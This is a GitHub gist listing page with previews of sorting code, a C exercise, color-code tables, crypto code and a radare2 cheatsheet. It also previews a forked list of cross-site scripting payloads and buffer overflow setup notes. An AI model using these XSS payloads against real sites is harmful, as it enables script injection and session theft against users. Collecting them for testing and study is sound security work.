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Busy busting SIGSEGV bugs

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Busy busting SIGSEGV bugs
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@winterrdog
winterrdog / list.h
Created June 28, 2024 18:32
linked list exercise in C
// this is a header file. try to implement all the functions herein. Please labor to understand the structure of a node and try to create it on your own!
#ifndef LIST_H
#define LIST_H 1
typedef struct node node;
typedef struct node {
int data;
node *next;
} node;
@winterrdog
winterrdog / merge_sort.cc
Last active June 10, 2024 09:30
mergesort algorithm in C++
#include <iostream>
#include <vector>
/**
* Merges two sorted subarrays of arr[].
* The first subarray is arr[low..mid].
* The second subarray is arr[mid+1..high].
*
* @param arr The array to be sorted.
* @param low The starting index of the first subarray.
@winterrdog
winterrdog / quick_sort.cc
Last active June 8, 2024 17:37
quicksort algorithm in C++
#include <iostream>
#include <vector>
/**
* Partitions the given vector of integers into two parts based on a pivot
* value. The pivot value is chosen as the "first" element of the vector. Elements
* greater than the pivot value are moved to the right side of the pivot, while
* elements less than or equal to the pivot value are moved to the left side.
*
* @param nums The vector of integers to be partitioned.
@winterrdog
winterrdog / xss-top500.txt
Created May 13, 2022 10:50 — forked from phra/xss-top500.txt
#500 XSS payloads - https://gbhackers.com/top-500-important-xss-cheat-sheet/
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@winterrdog
winterrdog / update-golang.md
Created March 14, 2022 10:50 — forked from nikhita/update-golang.md
How to update the Go version

How to update the Go version

System: Debian/Ubuntu/Fedora. Might work for others as well.

1. Uninstall the exisiting version

As mentioned here, to update a go version you will first need to uninstall the original version.

To uninstall, delete the /usr/local/go directory by:

@winterrdog
winterrdog / BUFFER_OVERFLOW_SETUP.MD
Created March 5, 2022 07:23 — forked from willitscale/BUFFER_OVERFLOW_SETUP.MD
Bufferoverflow

PROCESS

Considerations when executing a Buffer Overflow

Disable Execution Protection (not needed for Ubuntu18)
Linux NX
[    0.000000] NX (Execute Disable) protection: active

Boot and interrupt the GRUB menu
@winterrdog
winterrdog / ANSI-color-codes.h
Created February 7, 2022 14:03 — forked from RabaDabaDoba/ANSI-color-codes.h
The entire table of ANSI color codes working in C!
/*
* This is free and unencumbered software released into the public domain.
*
* For more information, please refer to <https://unlicense.org>
*/
//Regular text
#define BLK "\e[0;30m"
#define RED "\e[0;31m"
#define GRN "\e[0;32m"
@winterrdog
winterrdog / bash-colors.md
Created February 7, 2022 14:02 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple
@winterrdog
winterrdog / gist:d49be3bac401cf3aaf08dcb796735e4e
Created February 4, 2022 05:11 — forked from eliburke/gist:24f06a1590d572e86a01504e1b38b27f
Encrypt/Decrypt functions for AES 256 GCM using OpenSSL for iPhone
// This is 4 year old code, and I have long since switched to PolarSSL
// But I have no reason to believe it is not still valid and functional
#include <openssl/rand.h>
#include <openssl/ecdsa.h>
#include <openssl/obj_mac.h>
#include <openssl/err.h>
#include <openssl/pem.h>
#include <openssl/evp.h>
@winterrdog
winterrdog / yet another radare2 cheatsheet.md
Created February 3, 2022 18:43 — forked from williballenthin/yet another radare2 cheatsheet.md

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

  • analyze all: aa
  • show sections: iS
  • list functions: afl
  • list imports: ii
  • list entrypoints: ie
  • seek to function: s sym.main